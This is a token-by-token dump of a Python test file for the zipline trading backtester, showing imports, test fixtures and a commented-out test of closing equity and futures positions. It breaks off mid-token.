"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "zip", "line_", "import_", "Tra", "ding", "Algorithm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "api_", "import_", "Fix", "ed", "Sli", "ppa", "ge_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "assets_", "import_", "Equi", "ty_", ",_", "Future_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "assets_", "._", "synthetic", "_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "\\u", "ja", "gged", "\\u", "equit", "y", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "make", "\\u", "simple", "\\u", "equit", "y", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "data_", "._", "data\\u", "portal_", "import_", "Data", "Porta", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "data_", "._", "minute", "\\u", "bars_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Bc", "ol", "z", "Minute", "Bar", "Reader_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Bc", "ol", "z", "Minute", "Bar", "Writer_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "US", "\\u", "EQU", "ITI", "ES", "\\u", "MINUTE", "S", "\\u", "PER", "\\u", "DAY_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "data_", "._", "us", "\\u", "equit", "y", "\\u", "pricing", "_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Bc", "ol", "z", "Da", "il", "y", "Bar", "Reader_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Bc", "ol", "z", "Da", "il", "y", "Bar", "Writer_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "errors_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Order", "Dur", "ing", "Initializ", "e_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Register", "Tra", "ding", "Control", "Post", "Init_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Tra", "ding", "Control", "Violation", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Account", "Control", "Violation", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sym", "bol", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Roo", "t", "Sym", "bol", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Unsu", "ppo", "rted", "Date", "time", "Format_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Cann", "ot", "Order", "Del", "iste", "d", "Asset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Cancel", "Polic", "y", "Post", "Init_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Unsu", "ppo", "rted", "Cancel", "Policy_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Order", "In", "Be", "fore", "Tra", "ding", "Start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "api_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "order_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "percent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "target_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "target", "\\u", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "target", "\\u", "percent_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "zip", "line_", "._", "finance", "_", "._", "commission", "_", "import_", "Per", "Share", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "finance", "_", "._", "execution_", "import_", "Limit", "Order_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "finance", "_", "._", "order_", "import_", "ORDE", "R", "\\u", "STATUS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "finance", "_", "._", "trading", "_", "import_", "Tra", "ding", "Environment_", ",_", "Simul", "ation", "Parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "sources_", "import_", "Data", "Pane", "l", "Source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "testing_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Fake", "Data", "Porta", "l_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "daily", "\\u", "df", "\\u", "for", "\\u", "asset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "data\\u", "portal_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "data\\u", "portal", "\\u", "from", "\\u", "trade", "\\u", "history_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "minute", "\\u", "df", "\\u", "for", "\\u", "asset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "empty", "\\u", "trading", "\\u", "env_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "make", "\\u", "test\\u", "handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "make", "\\u", "trade", "\\u", "data\\u", "for", "\\u", "asset", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parameter", "\\u", "space_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "str", "\\u", "to", "\\u", "seconds_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tmp", "\\u", "trading", "\\u", "env_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "utc_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trades", "\\u", "by", "\\u", "sid", "\\u", "to", "\\u", "dfs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "testing_", "._", "fixtures_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "With", "Data", "Porta", "l_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "With", "Logger_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "With", "Sim", "Params_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "With", "Tra", "ding", "Environment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "With", "Tm", "p", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Zip", "line", "Test", "Case_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "test\\u", "algorithms_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "access", "\\u", "account", "\\u", "in", "\\u", "init_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "\\u", "portfolio", "\\u", "in", "\\u", "init_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Ambi", "ti", "ous", "Sto", "p", "Limit", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Emp", "ty", "Position", "s", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Inva", "lid", "Order", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Record", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Fu", "ture", "Flip", "Algo", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Order", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Order", "Perce", "nt", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Order", "Style", "Forward", "ing", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Order", "Value", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Register", "Transform", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Target", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Target", "Perce", "nt", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Target", "Value", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Long", "On", "ly", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Asset", "Date", "Bound", "s", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Max", "Position", "Size", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Max", "Order", "Count", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Max", "Order", "Size", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Do", "Not", "Order", "List", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Set", "Max", "Leve", "rage", "Algorithm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "api", "\\u", "algo_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "api", "\\u", "get", "\\u", "environ", "ment", "\\u", "algo_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "api", "\\u", "symbol", "\\u", "algo_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "all", "\\u", "order", "\\u", "methods_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "order", "\\u", "in", "\\u", "init_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "\\u", "data\\u", "api_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "\\u", "data\\u", "noop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "initialize", "\\u", "api_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "initialize", "\\u", "noop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "noop", "\\u", "algo_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record", "\\u", "float", "\\u", "magic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record", "\\u", "variables_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "kwargs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "out", "\\u", "kwargs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "bad", "\\u", "kwarg", "s", "\\u", "current_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "bad", "\\u", "kwarg", "s", "\\u", "history_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "assets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "fields_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "bar", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "frequency_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "asset", "s", "\\u", "kwarg", "\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "current", "\\u", "assets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "current", "\\u", "fields_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "can", "\\u", "trade", "\\u", "assets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "is", "\\u", "stale", "\\u", "assets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "asset", "s", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "fields", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "bar", "\\u", "count", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "histo", "ry", "\\u", "freque", "nc", "y", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "current", "\\u", "asset", "s", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bad", "\\u", "type", "\\u", "current", "\\u", "fields", "\\u", "kwarg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "bad", "\\u", "kwarg", "s", "\\u", "get", "\\u", "open", "\\u", "orders_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "good", "\\u", "kwarg", "s", "\\u", "get", "\\u", "open", "\\u", "orders_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "with", "\\u", "no", "\\u", "kwarg", "s", "\\u", "get", "\\u", "open", "\\u", "orders_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "empty", "\\u", "positions_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "set\\u", "bench", "mark", "\\u", "algo_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "no", "\\u", "handle", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "utils_", "._", "api", "\\u", "support_", "import_", "Zip", "line", "API_", ",_", "set\\u", "algo", "\\u", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "utils_", "._", "context", "\\u", "trick", "s_", "import_", "Call", "back", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "utils_", "._", "control", "\\u", "flow_", "import_", "null", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zip", "line_", "._", "utils_", "._", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "utils_", "._", "events_", "import_", "Date", "Rule", "Factory_", ",_", "Time", "Rule", "Factory_", ",_", "Al", "ways_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zip", "line_", "._", "utils_", "._", "factory_", "as_", "factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zip", "line_", "._", "utils_", "._", "trading", "calendar_", "import_", "trading", "\\u", "day_", ",_", "trading", "\\u", "days_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Be", "caus", "e", " ", "test", " ", "case", "s", " ", "appear", " ", "to", " ", "reus", "e", " ", "some", " ", "resource", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "multipro", "cess", "\\u", "can", "\\u", "split", "\\u_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", " ", "re", "-", "implement", " ", "this", " ", "testc", "ase", " ", "in", " ", "q2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "class", " ", "Test", "Clos", "e", "Pos", "Algo", "(", "Test", "Case", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "set", "Up", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "env", " ", "=", " ", "Tra", "ding", "Environ", "ment", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "day", "s", " ", "=", " ", "self", ".", "env", ".", "trading", "\\u", "day", "s", "[:", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "panel", " ", "=", " ", "pd", ".", "Pane", "l", "({", "1", ":", " ", "pd", ".", "Data", "Frame", "({", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "price", "':", " ", "[", "1", ",", " ", "1", ",", " ", "2", ",", " ", "4", ",", " ", "8", "],", " ", "'", "volume", "':", " ", "[", "1e", "9", ",", " ", "1e", "9", ",", " ", "1e", "9", ",", " ", "1e", "9", ",", " ", "0", "],", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "type", "':", " ", "[", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "CLOSE", "\\u", "POSITION", "]},", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "index", "=", "self", ".", "day", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "})", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "no", "\\u", "close", "\\u", "panel", " ", "=", " ", "pd", ".", "Pane", "l", "({", "1", ":", " ", "pd", ".", "Data", "Frame", "({", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "price", "':", " ", "[", "1", ",", " ", "1", ",", " ", "2", ",", " ", "4", ",", " ", "8", "],", " ", "'", "volume", "':", " ", "[", "1e", "9", ",", " ", "1e", "9", ",", " ", "1e", "9", ",", " ", "1e", "9", ",", " ", "1e", "9", "],", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "type", "':", " ", "[", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "DATA", "SOU", "RC", "E", "\\u", "TYPE", ".", "TRA", "DE", "]},", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "index", "=", "self", ".", "day", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "})", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "close", "\\u", "position", "\\u", "equit", "y", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "{", "1", ":", " ", "{", "'", "symbol", "':", " ", "'", "TEST", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "end", "\\u", "date", "':", " ", "self", ".", "day", "s", "[", "4", "]}", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "env", ".", "write", "\\u", "data", "(", "equit", "ies", "\\u", "data", "=", "metadata", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "algo", " ", "=", " ", "Test", "Algorit", "hm", "(", "sid", "=", "1", ",", " ", "amo", "unt", "=", "1", ",", " ", "order", "\\u", "count", "=", "1", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "commission", "=", "Per", "Share", "(", "0", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "env", "=", "self", ".", "env", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "data", " ", "=", " ", "Data", "Pane", "l", "Sou", "rce", "(", "self", ".", "panel", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "#", " ", "Check", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "position", "s", " ", "=", " ", "[", "0", ",", " ", "1", ",", " ", "1", ",", " ", "1", ",", " ", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "pn", "l", " ", "=", " ", "[", "0", ",", " ", "0", ",", " ", "1", ",", " ", "2", ",", " ", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "results", " ", "=", " ", "algo", ".", "run", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "position", "s", "(", "results", ",", " ", "expected", "\\u", "position", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "pn", "l", "(", "results", ",", " ", "expected", "\\u", "pn", "l", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "close", "\\u", "position", "\\u", "future", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "{", "1", ":", " ", "{", "'", "symbol", "':", " ", "'", "TEST", "'}", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "env", ".", "write", "\\u", "data", "(", "future", "s", "\\u", "data", "=", "metadata", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "algo", " ", "=", " ", "Test", "Algorit", "hm", "(", "sid", "=", "1", ",", " ", "amo", "unt", "=", "1", ",", " ", "order", "\\u", "count", "=", "1", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "commission", "=", "Per", "Share", "(", "0", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "env", "=", "self", ".", "env", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "data", " ", "=", " ", "Data", "Pane", "l", "Sou", "rce", "(", "self", ".", "panel", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "#", " ", "Check", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "position", "s", " ", "=", " ", "[", "0", ",", " ", "1", ",", " ", "1", ",", " ", "1", ",", " ", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "pn", "l", " ", "=", " ", "[", "0", ",", " ", "0", ",", " ", "1", ",", " ", "2", ",", " ", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "results", " ", "=", " ", "algo", ".", "run", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "pn", "l", "(", "results", ",", " ", "expected", "\\u", "pn", "l", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "position", "s", "(", "results", ",", " ", "expected", "\\u", "position", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "auto", "\\u", "close", "\\u", "future", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "metadata", " ", "=", " ", "{", "1", ":", " ", "{", "'", "symbol", "':", " ", "'", "TEST", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "auto", "\\u", "close", "\\u", "date", "':", " ", "self", ".", "env", ".", "trading", "\\u", "day", "s", "[", "4", "]}", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "env", ".", "write", "\\u", "data", "(", "future", "s", "\\u", "data", "=", "metadata", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "algo", " ", "=", " ", "Test", "Algorit", "hm", "(", "sid", "=", "1", ",", " ", "amo", "unt", "=", "1", ",", " ", "order", "\\u", "count", "=", "1", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "commission", "=", "Per", "Share", "(", "0", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "env", "=", "self", ".", "env", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "data", " ", "=", " ", "Data", "Pane", "l", "Sou", "rce", "(", "self", ".", "no", "\\u", "close", "\\u", "panel", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "#", " ", "Check", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "results", " ", "=", " ", "algo", ".", "run", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "position", "s", " ", "=", " ", "[", "0", ",", " ", "1", ",", " ", "1", ",", " ", "1", ",", " ", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "position", "s", "(", "results", ",", " ", "expected", "\\u", "position", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "expected", "\\u", "pn", "l", " ", "=", " ", "[", "0", ",", " ", "0", ",", " ", "1", ",", " ", "2", ",", " ", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "check", "\\u", "algo", "\\u", "pn", "l", "(", "results", ",", " ", "expected", "\\u", "pn", "l", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "check", "\\u", "algo", "\\u", "pn", "l", "(", "self", ",", " ", "results", ",", " ", "expected", "\\u", "pn", "l", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "np", ".", "testi", "ng", ".", "assert", "\\u", "array", "\\u", "alm", "ost", "\\u", "equal", "(", "results", ".", "pn", "l", ",", " ", "expected", "\\u", "pn", "l", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "check", "\\u", "algo", "\\u", "position", "s", "(", "self", ",", " ", "results", ",", " ", "expected", "\\u", "position", "s", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "for", " ", "i", ",", " ", "amo", "unt", " ", "in", " ", "enumerate", "(", "results", ".", "position", 